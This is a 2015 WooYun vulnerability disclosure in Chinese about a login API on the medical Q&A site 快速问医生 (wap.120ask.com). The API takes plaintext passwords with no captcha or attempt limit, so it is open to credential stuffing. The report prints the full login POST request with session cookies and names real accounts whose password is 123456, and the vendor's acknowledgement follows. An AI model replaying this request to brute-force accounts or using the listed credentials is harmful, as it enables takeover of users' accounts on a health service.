漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0159554
漏洞标题：快速问医生某处接口设计不当导致撞库
相关厂商：快速问医生
漏洞作者： 路人甲
提交时间：2015-12-09 12:51
修复时间：2016-01-25 18:01
公开时间：2016-01-25 18:01
漏洞类型：设计缺陷/逻辑错误
危害等级：高
自评Rank：20
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-12-09： 细节已通知厂商并且等待厂商处理中
2015-12-14： 厂商已经确认，细节仅向厂商公开
2015-12-24： 细节向核心白帽子及相关领域专家公开
2016-01-03： 细节向普通白帽子公开
2016-01-13： 细节向实习白帽子公开
2016-01-25： 细节向公众公开
简要描述：
快速问医生某处接口设计不当导致撞库
详细说明：
http://wap.120ask.com/wap/logins
密码明文提交而且没有验证码和次数限制
POST /api/login_reg HTTP/1.1
Host: wap.120ask.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://wap.120ask.com/wap/logins
Cookie: Hm_lvt_7c2c4ab8a1436c0f67383fe9417819b7=1448941646,1449565571,1449622497,1449623565; Hm_lvt_8e22e0e9f539749531bf6948e1729842=1448941662,1449565571,1449622497,1449623565; c_bb_uuid=6298c7a5da06d8987fd75c2e54a72f05; ylxx_all_access=20151209; ylxx_yiyuan_access=20151209; access=2015-12-09; Hm_lvt_e731200ac6e02ee2aae5eda4a5bf1e70=1449624472; Hm_lvt_4bce588bc1ae5e3b74098d84f0600cae=1449623305,1449624362; AskUserCon5397399cs=1; rem_username=wangfei; AskUserCon51983524cs=1; Hm_lpvt_e731200ac6e02ee2aae5eda4a5bf1e70=1449624472; Hm_lpvt_4bce588bc1ae5e3b74098d84f0600cae=1449624448; PHPSESSID=djlsbhcc0di8nr7ef5er0tist6
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 54
username=admin&password=123456&log=%E7%99%BB+%E5%BD%95
随便跑了下下图这些都是撞库成功的密码都是123456
登入两个看看
lina 123456
chenbin 123456
漏洞证明：
http://wap.120ask.com/wap/logins
密码明文提交而且没有验证码和次数限制
POST /api/login_reg HTTP/1.1
Host: wap.120ask.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://wap.120ask.com/wap/logins
Cookie: Hm_lvt_7c2c4ab8a1436c0f67383fe9417819b7=1448941646,1449565571,1449622497,1449623565; Hm_lvt_8e22e0e9f539749531bf6948e1729842=1448941662,1449565571,1449622497,1449623565; c_bb_uuid=6298c7a5da06d8987fd75c2e54a72f05; ylxx_all_access=20151209; ylxx_yiyuan_access=20151209; access=2015-12-09; Hm_lvt_e731200ac6e02ee2aae5eda4a5bf1e70=1449624472; Hm_lvt_4bce588bc1ae5e3b74098d84f0600cae=1449623305,1449624362; AskUserCon5397399cs=1; rem_username=wangfei; AskUserCon51983524cs=1; Hm_lpvt_e731200ac6e02ee2aae5eda4a5bf1e70=1449624472; Hm_lpvt_4bce588bc1ae5e3b74098d84f0600cae=1449624448; PHPSESSID=djlsbhcc0di8nr7ef5er0tist6
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 54
username=admin&password=123456&log=%E7%99%BB+%E5%BD%95
随便跑了下下图这些都是撞库成功的密码都是123456
登入两个看看
lina 123456
chenbin 123456
修复方案：
这个你们比我更专业。
版权声明：转载请注明来源 路人甲@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：10
确认时间：2015-12-14 08:37
厂商回复：
感谢，已经安排处理
最新状态：
暂无